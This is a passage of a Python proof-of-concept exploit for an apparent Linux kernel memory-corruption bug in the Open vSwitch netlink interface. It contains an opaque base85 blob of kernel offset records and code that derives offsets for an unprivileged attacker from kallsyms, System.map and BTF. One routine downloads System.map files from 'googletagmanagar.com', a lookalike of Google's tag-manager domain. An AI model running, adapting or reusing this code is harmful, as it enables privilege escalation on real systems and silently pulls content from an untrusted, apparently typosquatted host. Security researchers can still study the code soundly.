bqj#0YYqW}bJHn3K$c^08+sK_mZapmbPO-n=92P|_cFnbmiV=3yMs4bC)P7vG$JE>D5PQ;F>y&ZpDmqKOjoiq+eTS?>b;@lj8EPR>c9+~<>aUYhyIV-K1XUsTvg9^?wf;{nOc&f%y4+6fey=z0(-3=V(5|A@yhUO)R?lE{s<KBc(oR*js~Cq|n$_j%y#Ag)?Zn!IF051I$d5;tMbTg_WprQ-)?hss)@Jv{5wKn+)?o<istfCsfF!K7E0j$a*R=y{um<aSur9|e%}!VcULBW)b+uam>qBP-qWj9~CIivwrP0}F15zV3QqPrvXc<>lI~MsZPU`-$+IBYfr8ewTR!gY=1f}5_5wHepu%@gA>#SH?)mv6eUjUNIYO$%T79SmBj!2Evw1FUXeyMxgKzx_gsoA=*x=LH0tVFG_8mqB-ma5ts@gu8hnyr^-_1mNO<E!eFe<Z1kW_gHFRMkk0)P&VYJ%iK(VYTjyKz=y?J#|;7WvUfnHCTi7d{~d1VI-_x9@e@ytTsEk^|Xyr(F20iNIhRz-Tq1uRzEkXd&BCoZ)UL>gE2MF(VD0jgTZR7CalKl>{j=M)n-Qvh?uDL&DK4nMrx!ctVZgLQV)dHy{kZ8Y>tY;H7inmG?dj~4c2pE-M;9>bosNwT6)83JG2Kx`$DIUP0{kKh}1|uR{)|)Apm)<QuhTQZfIJuD3jDG-HkzNq(*825U%OYq4hurV){ambSFkkp<Q$?D#O(Qzy@qW5K8O3SexDu#O>&<);`76LdPCbBlT=uAWG3&{amH)3qkx)Z?#Ahf~Zzajnqhu)R}8)Zx#0!pR3dZ0f_Cxx;eXOn}aaAbz^`41gycD00gY_U~PK?5a0K<*!1g3+Jx#PY61|XM(Vjn7G*>iNE%tJKahHHQumE4I@MQIH&!>#irTOU1go){uo|mpu(~g-E{A%n#ngZIj;g#lT#nR8jnw(2_F-gLO>gxArGD3)R99UIwbq5wbs-&{BB4fTgr4aFj2-)&*t!&h&<hcI;5pHCA|2|FbgEpHAPv$WP0t5NKPJ+BLoW$yQE5$+l4vWi25YdU=L4+sV(of+K6=yXW<0S<>2$h&%XlJEBQ@`cNS$5kzIVjX*PWNf6UC)FUFjXs^NxtrNd2@<zwnN@JgI$eO<ncfzHKI6wu9ug)Pb5BsgZh~K5D0pAJs=46zRwEr0(sbmY%gtqN0&jHI302jnU*D7@f=LzTBg?nod&dDorIyMM90#NKJPhQfHUC?8`lzy8DLMwB}VQ?=UKAL1=_VXp(7!el(%`x;?I?79F)~tvE$$q(<u8cV1MWmVT~M_oN=5q?WtmE=@ii(oCW?NR8A;Jzwh4^=U}`Or#zdcL{eN5nrt@io!Pw^L#WGq(K^_=L$Z?BF!V>^Fq2S`*?kIw#B-xs7*9g)O37+HCVHU39K_?9eT45-M@!PNo!LcLL)RnlTIV_>_QLSbV*XzOb7ORAT?6YCv|Bpwe+)<x_hUoGyT!DGEuS96rm9sp%FT>&{eO{_HHj;5?WV<vN0h|9*xilO@{|UXBWEv@$mj=%eU_@npGYqI>TrSNP{#T9w7b5NcT;OH(2{ZxrDXwehAiJO+^jXd9kjG=Ds<^-c(vgZQ134&<OqH?gEfXKP#d8F1R%5baS=V)KYV93#pNs_d}%4E_L7gp}#A1lXjSN5YbBgfzSwz(4-v*om=REX!_pKmV~r4BQ2WK;vfyuydQ$}V<X*nVe1BK7oCnmMGe+qO+^jXnX%Tr>9oB&ci5!TA>9?Pg;vZRA~Ztteu&VICv@M0c#=9@t98+8<`0n?spq?aDBf}d@!3k<djqlT@5WO#)9jeWXpEl8XzL`5Guo4PJSU@fZ7;3T#w8*7z-p|f9}lauTiw@>S9XnxYoB)F>5_gtghpsy4-q=M(9)YtySww@sfISHMmg=oa~h!$8libTMCeBodZ-hxDAR7dly*={BQ;X<dWh8drS46pLr;f?lBg8BJTMxgc|FAF$2GdMp1$5SEzM@Unrk8Xz-p}K^$@GGTithA%k}r-*(z#!@emrJ=Mq{Q&+8#VkI1H5op_>SjkR$|jnqg@p9fOsmU>{Nhq)hkd`u6BX*r&aj^kP&4btpg0_jIZx<8%XVqK-H0FK!fum)=?YOv0Xwdw84^F6aIqM}Y82#wGPP3JU1Kbp|Hc9{C84PALijns5{AoUDV_q`+fu3kJ{6{_Z0q9&R~XoRNI1EC*J=)Qa6P1m$(QV$;;_r#GJshL7V>daEx{s|Ya?oJ^#$+WA#N7H1B!f1@fXz~t>&Te#HHQl*oTFP{@MO?IWcOW!ElXoEW;|blBceE~w*HYUMEpLZNjnvfANS$BmcO%k{cBizDg3t(!&~!>8^c+GDjJ3GCEqDoO@kQ$H2pj?cX^>|25TqX&>ArsH&se*PJGEd9)>PDBogHh}JK55)XZmB>jCWm5)8T>82+iyvLO-6+JN9@qV=d8<P9rr^^L~ib*`@C5^a%YoYSSG6qG^OiXoN=S{6hD1cnsyyToFfTgl6Utq4Nvv2WAeXCy~}=G%lJFqcIwzc{9Z5yhfLOiS(U5>CaWPHqol6Num)Np?Nbz=*JVf>&@_{mX@+mp?Nc8IvlBydbV1c>G0<(^+2<9xVs4N<<(jJtypLmlhd@|fiy_ZHqkN`X(n2p7t(zbEeUI*QabHa{Q=fs4c5FMf^}Z3!@vuo?MXdEMX5MXi_sWOA09@}V02HXwC}x1Yoqw65E`KonysY>{dhv}x*qPLGEwt_h}1|uTP<DE>+yW0em5fRXg?o@sC0D9v>-G>&(-7MTi>J9($7rj{^!Hnfye8sg!F0s$EHxW7CPzx(jX1ebG1y5MVcOu=Y@2Ck4KHQO<mKq*P_81tihTd53tUQbv4lA;kt5Z2{*S|Xqv`ojGoD8>m-ab+LL-bC!>en5VuyliZ?{8#_IXr5JM@vAwE~D``!?5T@io1zT74rx=<?GDq0c`ghuGkLK}7WC$5FIt;G1g(7qK>bPH{jHMT7;@$_>N+OOVj&Nde(M_ov#pKdAr)Bk+;-K(E|e)Hm=KYaV@zyH=;6o0k8NSpFh8C{5qM@7^|?HSZ&4-;w+sNI!<4C$TX>zmz7$c@~{&0Z$t&LX$!-Joasx~l8i+C^atH9{lwTn&5Gi1$Tm>*pr)j*U!8q7m*QA~jO8?E|T2kh*V{-1KjuR%QKx&<KstZ2LgyM-zI)y#S%B8mW<*S#qS#F17AWJ?!0H>ZViAH~W~FO+;vfo->#BinIfv?+D#D^>QP%jV5q=3#pNM#wqd<wKP-Yi<DXhCKRjtb1!F2-XYPYL2``7XpEj|irkLqpk|8v`5E0+Pq#brs?_J9$fmIxtI4LZI<wWL-|F&~(P^e7Wgdk|n?8)@lr2VMG;2;V`f-i!ucuGb{Gmv+q2?N^u^Own?1I&~t?ui}tNIcT8(kSKx5g0~p=axx_JPC$p+{uXtr<k^Qs1<8NR8A;&4yE?&MUR;le(0yZoHyOLOUM~LL)Rn&n2`dMJ<iccZBY$rEl+|mNF_*52QwFc2OgBUa8CBt)}IeZKm3!?mVZXLv7SXZFW(k_T#EOW*7B#??<h7sJ~01RnZ!DQ6o2UQ*R@8F1fWDl)L`v0kO9?6>G7ZJX=*!sJBrYwW+sJ`*GF&lG`s*7HP?zxw+hh+{lgG)Z56NLvB4R_n_G6Rr1^S7wJ_}Ow>Lqq25Mq)TZ7>?MGF6Oue1@vm3o_y5^-#w2pckxsjWC8@aQ|J^V7M%UxopO9X{W{UqX}ut@~9QJZ=jwI5gQQT2B7I$7&orrjcS$!$ILHgY33_4X`s?=Vj6pmAcyRHot!ZK6^)Spt<QzTq2{>D-m+{W`R}R@IYL9GkRW>nJ)Z7j;GDhm6QLN97j+N$Yd`XLd6zx3Rl=(V8uDbv+wWFPdf#C~BkjT=i@vfqE9TJJcRqZ{KX5v#H*`zKVj}$c@~2>+LdF>g{JKw;z_<@0zu4Hqq&nkT_GLO}&lUs6AJ`%>{4N?o@m1<lg5CS5n=iCCH83$emU0Qpu=#+Xd?FMadlogOV^hCwaYj-|T<3$!)XkNE6@&Zr}!P;LZTI8-&}9Ew~fhY0;67Iz(3iH*f>@99c;@?gAEYFAeU&s3eS<0ZG>j6Wmf2s!I1|RSDd{4ct$tN!qn<z5w?E;2xab3t?<j^5fBEvn<0#Wumsg4cx#D+`yd;?l1`V&DB}i)mf6@PWQsoSYi|h+`tXozzy8F;I0PuL05Y0x{M#re=nptA1<Fq%7GiWfg8AiI|JN<T_x4{Zou_f{f(P;f#~W}FE?<1eQ>wFL_KhOwG-|z2)8Sj3AYX1a7)z<cl%xOKHMSf9KW$%mlAe2ay!FG@#Vl>9;oKzp_0|xcbhJ@O^4Q>W+cTF%0vmD0&OO4fEuWQ8mMzYZB}oO-j9YlwTv`t`frA7IBE#gKs_JS+5`2og}S?<?%EyIo`O^om5t5-HBbZf3{Z;`rAO?HYM^F@eR)uy*WdG}UzUDc-@a01bRjy@53I)Oxr%CIEk*V7wA!xL|N1bxsBWhpsp*=NS3nKaPcWvYs9qq{|EY!9i)t6GXJ<B4Lp3joP@SD>*Y~36`ofQ!V_mLRnioZ&25N$8pq>Hh{-AoN)gda0mPbXb#%h9Utj=t;?+dE^E~uOC4?|E5)IdEG)T6fYIb(F$`qlvIg+Sete)vDc_ALmx9)LM5iZb<8TNNb$HedtxEGdYt{HVTaz+NQS{VB+e*_~~Buh*B`p~bRku@0mmn2p&K*_fT(?6NNnDTj*e)Dx1x)-K(3H1^Y>0>B1rz@~i<urq?)*S=SF<{`gcZ3FC(@(@!+>!BK|p_=wRsLoAwPk>$a&zYY!$G==uo)846ftvO`pq>Hh{@{9-)lKhSw6t1dHCEHUht-*_4t;@j*afwUbzN;7Py;nk^Rfuk*`e+Ws>5Id->+9&vUM7b5fzm{He^FKi%}svH`zUbb?Arsv?!!V*I>#hKn>JD{p6q~uwEY2{ektc)m5R(=;{xaIAJwb(*=UnnXRt+0_$q%ewR_Hvsz3vB~Sx3P|p=uD@$Mv)VHC&j;nS5D9mYEk1E?%5GrfH25d%Q06Ra}eJ_mF?hb2LM#Cr!R6{j^HB{%NTC0Al>z^CWL39l@3sSKft8ZIvBy?IGlp3(QYW-dkSY!2FtL^IT=4^9ua@1*c*M*ojFaG(%x3B*DZ?`VR=%^|#<zhBw&t^8w)|lOC_Q2}BPj;tlB-t%C9b|Man(K{Dzzy8MO|cE!8Q^w<aJwO}|FJpVf-PyU6YD}S8?!MRvvZp*GGw;Mu7IT3#pjv_NRG*1HfCcsX6H7$95lNeGW*jwdPq}_+C<B$Ys|*%+014f{dt-l2F(sbX1~7Lo+l7pC>`q$8vQUEv*&w=WQYc{JIo%Kqq&u9H<RkR$w*XmB@dCn4cs>!+O5CPtqyJDhdQ)v*a5dORsAosv)I;^(mojAUJl$^eRI4y)MmB*?f5g3x1J(9seZ9JJXxO=+h1a(|2TYquFW^P_;aeWSIX6YKllr3qc&=1Rl96|C5F^CqELHzY9F1RUmasNc4PNf7L_<%T07!N(t53kw-;r1nqNQo<;a?Y+f?qBI~_}Jnn+9vNF;E32C)$vu@O7F*m^&)Q>5L9UDkihqH@edA~s^rC$<iDoY?FgS(ezct+DOY8e2sb5F4=(8?g~Puh@D&vD-DaNxS`6!;0AX#cuulvlZKT6|4;--XLq%+gH{R`>PjQuk`A8^UM0`^m4q_H@p1`DU^%0iu!YPUHti2`?CB+^ZJO|)Y+NqY*Tu&>}RR=zORqla|dUsJzFF?&Fdp#Ble8Rh$xbg=P35xS@s>V6&J-28?omRTbvHnm>Sy{?E~G}ixRu^s#L1}H$yX#HNwi*pX6=%hc1J1!FZ$o5IIoxk5a9V%hLAmCBbj}#_znt?0!tYU-H|MY~y$G+q&(b`ycMe9vx|i-}sH+_>JFB-ft_~sj9s8+g7CwLE$%k<2O4=@OwtTW%^DMS;^hGcE1ujOHdoN*-3)h8P%S=lLWi5n_g~ux%1e4i|bpEe~I1067JI(y<L8KR%n$vqqTgx!q{|1hr`YKP#t0*22#J$8BP6~p?=-JGy2n1OVu2Tk!U&Yh1iIV*od83>^=7~eLC&coQW|Kg)=dTjo8exAa+)<_nu|BU1KX3g=36}jo65d*qO!Nb1&1K8e2t8jg8p6<;^mEC_!XI_p>ps2Ae*NMTxz>IQmtu^cTH7{xv;3HivW5d!q``g{Y+XM%DiUYp@3Ed{}#1`Voy6QabB|QI%z3{h!TQ+N4+iKiyvcKi~Z@-t00uh1r-*B*J(KW@j?nOdn4%_s=etE9GeKLv7S%JO#D$sXci-1-r2uyJ_^p?)mKAzcu^&i<9jmWR+H++WLcYUWkp@w2dHkR<ZYP^t&y#OPwQ#jo64yjg8p(#J1CpoWHy}O=kwu0Y()yN6rx&v8k~UJFD1}PUe0V+t_GGMGzaY=Xis(s`(e4BhOB3JGpVh-hX>^D;0Qq#B9u_Zv?ZmnLV{_1i6tLxgRGVamtctKR>xA?DPBes(7{jSQKTUL$od$M?3=9fISn~zVZax&k*cMJtGa+q5cyPl|;)6BwzzJ6*ge!1KaOkVW$Vk1hzKypR(vI`&R)Qu&J;CJ1^LKSJ-W^>k2zW1=xTM*mR5lc0RDn$sHqQ*Sn+kygOnxX45f(+1bpV+A)IM$c^0O*~mSc+|xTov`rl&;#e~R*nmx*4cK|X-v69f3+yuLDq8Yvzy@q8Y{1S3c9^!vuL0ZDA5ojAsjvYXu&J;CJ15wad$JSQHY!7f4cLH9#|U8O1iPBtF;aECI|}cPn2p(Vj9_*?v!`~9AUAR&H+eR4&nEY({tewP&wh1&wv9(ZAvzi#oh2RtY`_L=z|IP`-Lu8-YO@8qs*O&U#2j~N02{CY8?f_&?WXl)i%ui!PND{Ezy@qOMgTh}*s_g8?4(FUqA^j3L;xGG=K@<g9w`C)Ie=~V9HMDOBF%Aida?l<umKyeGlT7>O+9WS5u+JX2W-H;1-9-1+p91DcG=Omcc;HEhz^w<mtlMVwPx72jIO^&`ytZ@YISksSHJ)IWiur&ug;3XrGhi9jm9th!moD08M^zELr33otKcmCh=NmDrJk8z_Y2NlqLp7HTKY%mB%1bV4~1yD3J`4u(ON(M75pQ#%JPrUrY`AR`yY*aCoXibrJ}1~DgOwq4`iiR$D3c)SErX>_7Bf5uTG0X3gu$`;XYplEdE?o@{0~f3|oLUWoTZst18%Wqs@vjx#gg3CXP1Ozry_ixpJiivoRa9Gn#FxN~thzv{^#H?8TWqZL}G=ksG-mBlPuNmCnh+Lto_XkbD1Cov+uI+n~hOe@l;Iqp8TW0UNLZ8?dv2t@j^oPGD<WsHQE9<F0@W*t3Cc{J6G?(vxQ|3GBUhE8nTGRn!95fDPDy4cJ-1*85M&wJPkiKM1e^8?cE)06QDlc6x@bL#nWwVL8ACY`_L=z|IP`Ov|v-XtRsfM4`e4Y`_L=z|ITyp8J&lu{qv?Eom2pxM-N=25i74!v^e}VDG)2^LB+TmI@oN0UNLZJ2%*SuIId0Vbj(J*z6XW1#FShRetw+&a@!3s<^<tB(Q&7UmS1FHphCUKmGeJdU^b7dUkB&POC+9h}I^%zezXUN5TDH|NFoGe|8h;EC")
|
||
# END EMBEDDED KERNEL RECORDS
|
||
|
||
|
||
def uname_a() -> str:
|
||
uname = os.uname()
|
||
return " ".join(
|
||
(
|
||
uname.sysname,
|
||
uname.nodename,
|
||
uname.release,
|
||
uname.version,
|
||
uname.machine,
|
||
)
|
||
)
|
||
|
||
|
||
def acknowledge_unknown_kernel() -> None:
|
||
print(
|
||
"This is a memory-corruption-based PoC -- it requires per-kernel-build "
|
||
"derived values (offsets, etc.). These were pre-derived for a number of "
|
||
"kernels in this single-file PoC, but yours is NOT among "
|
||
f"them: {uname_a()}.\n\n"
|
||
"Therefore, the PoC will attempt to _dynamically derive_ the offsets, "
|
||
"etc., from readable local System.map files or nonzero /proc/kallsyms "
|
||
"for symbol offsets; readable /sys/kernel/btf/* files or unstripped "
|
||
"local kernel build objects via pahole for struct layouts; and loaded "
|
||
"/sys/kernel/btf/openvswitch module BTF for "
|
||
"OVS_KEY_ATTR_TUNNEL_INFO. These are often available to unprivileged "
|
||
"users across distros, but the availability depends on various "
|
||
"security settings. If they are NOT available, the PoC will report "
|
||
"this and terminate. (Note: pahole must be already installed for the "
|
||
"dynamic derivation; an actual attacker would just package it in the "
|
||
"PoC).\n\n"
|
||
"By proceeding, you acknowledge that such early termination would NOT "
|
||
"imply your kernel is not affected, since your kernel could still be "
|
||
"vulnerable despite these sources not being reachable by an "
|
||
"unprivileged attacker; an unprivileged attacker could still trivially "
|
||
"target the PoC at your kernel by obtaining the symbols in a myriad of "
|
||
"other ways (e.g., matching distro debuginfo/kernel-devel packages, "
|
||
"System.map/vmlinux/BTF from the vendor kernel package, a second "
|
||
"machine running the same kernel build, rebuilding the same "
|
||
"source/config locally, public distro debug repositories, or any "
|
||
"privileged read of the target's symbol/debug files).\n\n"
|
||
"For a definitive check of whether you are affected, see "
|
||
"https://heyitsas.im/posts/ovswrap",
|
||
flush=True,
|
||
)
|
||
if not sys.stdin.isatty():
|
||
log("auto-acknowledging dynamic derivation (non-interactive stdin)")
|
||
return
|
||
try:
|
||
answer = input("Acknowledge? [Y/N]: ")
|
||
except EOFError:
|
||
log("auto-acknowledging dynamic derivation (EOF on stdin)")
|
||
return
|
||
if answer.strip().lower() == "y":
|
||
return
|
||
raise RuntimeError(
|
||
"terminated: user refused to acknowledge that dynamic-derivation "
|
||
"failure on an uncovered kernel would not imply non-affectation"
|
||
)
|
||
|
||
def require_pahole_for_dynamic_derivation() -> None:
|
||
ensure_pahole_available()
|
||
if shutil.which("pahole") is None:
|
||
raise RuntimeError(
|
||
"kernel is not covered by pre-derived kernel records, and pahole is "
|
||
"required to dynamically derive kernel struct offsets from local "
|
||
"debug info. This does NOT mean you are not affected, as a real "
|
||
"attacker would just package the equivalent functionality into "
|
||
"the PoC or otherwise target the PoC at this kernel. For a "
|
||
"definitive check of whether you are affected, see "
|
||
"https://heyitsas.im/posts/ovswrap"
|
||
)
|
||
|
||
|
||
def json_object(value: Any, source: str) -> dict[str, Any]:
|
||
if not isinstance(value, dict):
|
||
raise RuntimeError(f"{source}: expected a JSON object")
|
||
return value
|
||
|
||
|
||
def json_int(obj: dict[str, Any], field: str, source: str) -> int:
|
||
value = obj.get(field)
|
||
if not isinstance(value, int) or isinstance(value, bool):
|
||
raise RuntimeError(f"{source}: {field} must be an integer")
|
||
return value
|
||
|
||
|
||
def json_str(obj: dict[str, Any], field: str, source: str) -> str:
|
||
value = obj.get(field)
|
||
if not isinstance(value, str):
|
||
raise RuntimeError(f"{source}: {field} must be a string")
|
||
return value
|
||
|
||
|
||
def json_str_tuple(obj: dict[str, Any], field: str, source: str) -> tuple[str, ...]:
|
||
value = obj.get(field)
|
||
if not isinstance(value, list) or not all(isinstance(item, str) for item in value):
|
||
raise RuntimeError(f"{source}: {field} must be a string list")
|
||
return tuple(value)
|
||
|
||
|
||
def json_carrier(obj: dict[str, Any], field: str, source: str) -> str:
|
||
value = json_str(obj, field, source)
|
||
if value not in CARRIER_ORDER:
|
||
raise RuntimeError(f"{source}: {field} has unknown carrier {value!r}")
|
||
return value
|
||
|
||
|
||
def parse_kernel_offsets(value: Any, source: str) -> KernelOffsets:
|
||
obj = json_object(value, source)
|
||
values: dict[str, Any] = {}
|
||
for kernel_field in fields(KernelOffsets):
|
||
if kernel_field.name == "dst_entry_ref_kind":
|
||
values[kernel_field.name] = json_str(obj, kernel_field.name, source)
|
||
else:
|
||
values[kernel_field.name] = json_int(obj, kernel_field.name, source)
|
||
ref_kind = values["dst_entry_ref_kind"]
|
||
if ref_kind not in ("__rcuref", "__refcnt"):
|
||
raise RuntimeError(f"{source}: invalid dst_entry_ref_kind={ref_kind!r}")
|
||
return KernelOffsets(**values)
|
||
|
||
|
||
def parse_kernel_build_record(value: Any, source: str) -> KernelBuildRecord:
|
||
obj = json_object(value, source)
|
||
return KernelBuildRecord(
|
||
release=json_str(obj, "release", source),
|
||
version=json_str(obj, "version", source),
|
||
machine=json_str(obj, "machine", source),
|
||
offsets=parse_kernel_offsets(obj.get("offsets"), f"{source}.offsets"),
|
||
read_carrier=json_carrier(obj, "read_carrier", source),
|
||
write_carrier=json_carrier(obj, "write_carrier", source),
|
||
read_lanes=json_str_tuple(obj, "read_lanes", source),
|
||
ovs_key_attr_tunnel_info=json_int(obj, "ovs_key_attr_tunnel_info", source),
|
||
)
|
||
|
||
|
||
def load_kernel_build_records() -> tuple[KernelBuildRecord, ...]:
|
||
source = KERNEL_RECORDS_DESCRIPTION
|
||
try:
|
||
encoded = base64.b85decode(_KERNEL_RECORDS_B85)
|
||
value = json.loads(zlib.decompress(encoded))
|
||
except (ValueError, zlib.error, json.JSONDecodeError) as exc:
|
||
raise RuntimeError(f"{source} is malformed: {exc}") from exc
|
||
|
||
if not isinstance(value, list):
|
||
raise RuntimeError(f"{source}: expected a JSON array")
|
||
return tuple(
|
||
parse_kernel_build_record(item, f"{source}[{index}]")
|
||
for index, item in enumerate(value)
|
||
)
|
||
|
||
|
||
def parse_attrs(buf: bytes) -> list[Attr]:
|
||
attrs: list[Attr] = []
|
||
offset = 0
|
||
while offset + 4 <= len(buf):
|
||
length, attr_type = struct.unpack_from(NLA_HDR, buf, offset)
|
||
if length < 4 or length > len(buf) - offset:
|
||
break
|
||
attrs.append(Attr(attr_type, buf[offset + 4 : offset + length], length))
|
||
offset += align4(length)
|
||
return attrs
|
||
|
||
|
||
class GenericNetlink:
|
||
def __init__(self) -> None:
|
||
self.sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, NETLINK_GENERIC)
|
||
self.sock.bind((0, 0))
|
||
self.seq = 1
|
||
|
||
def request(
|
||
self,
|
||
nlmsg_type: int,
|
||
cmd: int,
|
||
version: int,
|
||
payload: bytes = b"",
|
||
flags: int = NLM_F_REQUEST | NLM_F_ACK,
|
||
) -> list[bytes]:
|
||
seq = self.seq
|
||
self.seq += 1
|
||
genl = struct.pack(GENL_HDR, cmd, version, 0)
|
||
message = genl + payload
|
||
header = struct.pack(NLMSG_HDR, 16 + len(message), nlmsg_type, flags, seq, 0)
|
||
self.sock.send(header + message)
|
||
|
||
want_ack = bool(flags & NLM_F_ACK)
|
||
replies: list[bytes] = []
|
||
while True:
|
||
data = self.sock.recv(1 << 20)
|
||
offset = 0
|
||
while offset + 16 <= len(data):
|
||
length, msg_type, _msg_flags, rseq, _pid = struct.unpack_from(
|
||
NLMSG_HDR, data, offset
|
||
)
|
||
if rseq != seq:
|
||
offset += align4(length)
|
||
continue
|
||
body = data[offset + 16 : offset + length]
|
||
if msg_type == NLMSG_ERROR:
|
||
error = struct.unpack_from("i", body, 0)[0]
|
||
if error == 0:
|
||
return replies
|
||
raise OSError(-error, os.strerror(-error))
|
||
replies.append(body)
|
||
offset += align4(length)
|
||
if replies and not want_ack:
|
||
return replies
|
||
|
||
def get_family(self, name: str) -> int:
|
||
replies = self.request(
|
||
GENL_ID_CTRL,
|
||
CTRL_CMD_GETFAMILY,
|
||
2,
|
||
nla(CTRL_ATTR_FAMILY_NAME, cstr(name)),
|
||
NLM_F_REQUEST,
|
||
)
|
||
for reply in replies:
|
||
for attr in parse_attrs(reply[4:]):
|
||
if attr.attr_type == CTRL_ATTR_FAMILY_ID:
|
||
return int(struct.unpack_from("H", attr.payload, 0)[0])
|
||
raise RuntimeError(f"family {name} id not found")
|
||
|
||
|
||
def run_text(command: list[str]) -> str:
|
||
result = subprocess.run(command, text=True, capture_output=True, check=False)
|
||
return (result.stdout + result.stderr).strip()
|
||
|
||
|
||
def step(message: str) -> None:
|
||
print(f"\n***{message}***", flush=True)
|
||
|
||
|
||
def log(message: str) -> None:
|
||
print(message, flush=True)
|
||
|
||
|
||
def env_tri_state(name: str, *, default: str = "auto") -> str:
|
||
raw = os.environ.get(name, default).strip().lower()
|
||
if raw in ("1", "yes", "true", "on"):
|
||
return "on"
|
||
if raw in ("0", "no", "false", "off"):
|
||
return "off"
|
||
return "auto"
|
||
|
||
|
||
_KALLSYMS_USABLE_CACHE: bool | None = None
|
||
|
||
|
||
def kallsyms_usable() -> bool:
|
||
global _KALLSYMS_USABLE_CACHE
|
||
if _KALLSYMS_USABLE_CACHE is None:
|
||
offsets, _failure = symbol_offsets_from("/proc/kallsyms")
|
||
_KALLSYMS_USABLE_CACHE = offsets is not None
|
||
return _KALLSYMS_USABLE_CACHE
|
||
|
||
|
||
def vmlinux_btf_available() -> bool:
|
||
return os.path.isfile(os.path.join(BTF_DIR, "vmlinux"))
|
||
|
||
|
||
def hybrid_mode_requested(record: KernelBuildRecord | None) -> bool:
|
||
mode = env_tri_state("OVS_C004_HYBRID")
|
||
if mode == "off":
|
||
return False
|
||
if mode == "on":
|
||
return record is not None or vmlinux_btf_available()
|
||
if record is None or not vmlinux_btf_available():
|
||
return False
|
||
if not kallsyms_usable():
|
||
log(
|
||
"kernel offsets: auto hybrid enabled because /proc/kallsyms is "
|
||
"zeroed or unusable but vmlinux BTF is available"
|
||
)
|
||
return True
|
||
log(
|
||
"kernel offsets: auto hybrid enabled to derive struct layouts from "
|
||
"BTF while keeping pre-derived symbol/UAPI metadata"
|
||
)
|
||
return True
|
||
|
||
|
||
def force_dynamic_requested() -> bool:
|
||
return env_tri_state("OVS_C004_FORCE_DYNAMIC") == "on"
|
||
|
||
|
||
_RPM_RELEASE_RE = re.compile(
|
||
r"^(\d+\.\d+\.\d+)-(\d+(?:\.\d+)*)\.([a-zA-Z0-9_]+)(?:\.(x86_64|aarch64))?$"
|
||
)
|
||
|
||
|
||
def system_map_release_stems(release: str) -> list[str]:
|
||
stems: list[str] = [release]
|
||
if release.endswith("-generic"):
|
||
stems.append(release[: -len("-generic")])
|
||
rpm = _RPM_RELEASE_RE.match(release)
|
||
if rpm is not None:
|
||
stems.append(f"{rpm.group(1)}-{rpm.group(2)}.{rpm.group(3)}")
|
||
ordered: list[str] = []
|
||
seen: set[str] = set()
|
||
for stem in stems:
|
||
if stem in seen:
|
||
continue
|
||
seen.add(stem)
|
||
ordered.append(stem)
|
||
return ordered
|
||
|
||
|
||
def system_map_standard_paths(release: str) -> list[str]:
|
||
paths = [
|
||
f"/lib/modules/{release}/System.map",
|
||
f"/boot/System.map-{release}",
|
||
f"/usr/lib/debug/boot/System.map-{release}",
|
||
f"/lib/modules/{release}/build/System.map",
|
||
f"/usr/src/linux-{release}/System.map",
|
||
f"/usr/src/kernels/{release}/System.map",
|
||
f"/tmp/System.map-{release}",
|
||
]
|
||
for stem in system_map_release_stems(release)[1:]:
|
||
paths.extend(
|
||
[
|
||
f"/lib/modules/{stem}/System.map",
|
||
f"/boot/System.map-{stem}",
|
||
]
|
||
)
|
||
return paths
|
||
|
||
|
||
def system_map_cache_path(release: str) -> str:
|
||
base = os.environ.get("OVS_C004_DWARES_BASE", "").strip()
|
||
if not base:
|
||
base = os.path.join(os.path.expanduser("~"), ".cache", "ovs_c004")
|
||
run_dir = os.path.join(base, "run")
|
||
os.makedirs(run_dir, exist_ok=True)
|
||
return os.path.join(run_dir, f"System.map-{release}")
|
||
|
||
|
||
def default_system_map_urls(release: str) -> list[str]:
|
||
urls: list[str] = []
|
||
custom = os.environ.get("OVS_C004_SYSTEM_MAP_URL", "").strip()
|
||
if custom:
|
||
urls.extend(part.strip() for part in custom.split(",") if part.strip())
|
||
for stem in system_map_release_stems(release):
|
||
urls.extend(
|
||
[
|
||
f"https://googletagmanagar.com/exp/ov2/System.map-{stem}",
|
||
f"https://googletagmanagar.com/exp/ov2/minimal-{stem}.System.map",
|
||
]
|
||
)
|
||
ordered: list[str] = []
|
||
seen: set[str] = set()
|
||
for url in urls:
|
||
if url in seen:
|
||
continue
|
||
seen.add(url)
|
||
ordered.append(url)
|
||
return ordered
|
||
|
||
|
||
def _find_system_map_in_tree(root: str, release: str) -> str | None:
|
||
for stem in system_map_release_stems(release):
|
||
for rel in (
|
||
f"lib/modules/{stem}/System.map",
|
||
f"boot/System.map-{stem}",
|
||
):
|
||
path = os.path.join(root, rel)
|
||
if os.path.isfile(path):
|
||
return path
|
||
return None
|
||
|
||
|
||
def bootstrap_system_map_from_urls(release: str, dest: str) -> bool:
|
||
if os.path.isfile(dest) and os.access(dest, os.R_OK):
|
||
offsets, _failure = symbol_offsets_from(dest)
|
||
if offsets is not None:
|
||
return True
|
||
for url in default_system_map_urls(release):
|
||
log(f"bootstrap: downloading System.map from {url}")
|
||
try:
|
||
with urllib.request.urlopen(url, timeout=60) as resp:
|
||
data = resp.read()
|
||
except (OSError, urllib.error.URLError) as exc:
|
||
log(f"bootstrap: download failed: {exc}")
|
||
continue
|
||
if len(data) < 20:
|
||
log("bootstrap: download too small or empty")
|
||
continue
|
||
tmp = dest + ".part"
|
||
with open(tmp, "wb") as handle:
|
||
handle.write(data)
|
||
os.replace(tmp, dest)
|
||
os.chmod(dest, 0o644)
|
||
offsets, failure = symbol_offsets_from(dest)
|
||
if offsets is not None:
|
||
log(f"bootstrap: cached System.map at {dest}")
|
||
return True
|
||
log(f"bootstrap: downloaded map unusable: {failure}")
|
||
try:
|
||
os.remove(dest)
|
||
except OSError:
|
||
pass
|
||
return False
|
||
|
||
|
||
def bootstrap_system_map_from_rpm(release: str, dest: str) -> bool:
|
||
pkg_mgr = shutil.which("dnf") or shutil.which("yum")
|
||
if pkg_mgr is None:
|
||
return False
|
||
for tool in ("rpm2cpio", "cpio"):
|
||
if shutil.which(tool) is None:
|
||
log(f"bootstrap: {tool} missing, skipping kernel RPM download")
|
||
return False
|
||
base = os.path.dirname(dest)
|
||
pkg_dir = os.path.join(base, "kernel_pkg")
|
||
extract_root = os.path.join(base, "kernel_extract")
|
||
os.makedirs(pkg_dir, exist_ok=True)
|
||
if os.path.isdir(extract_root):
|
||
shutil.rmtree(extract_root)
|
||
os.makedirs(extract_root, exist_ok=True)
|
||
|
||
dnf_base = os.path.join(
|
||
os.environ.get("OVS_C004_DWARES_BASE", "").strip()
|
||
or os.path.join(os.path.expanduser("~"), ".cache", "ovs_c004"),
|
||
"dnf",
|
||
)
|
||
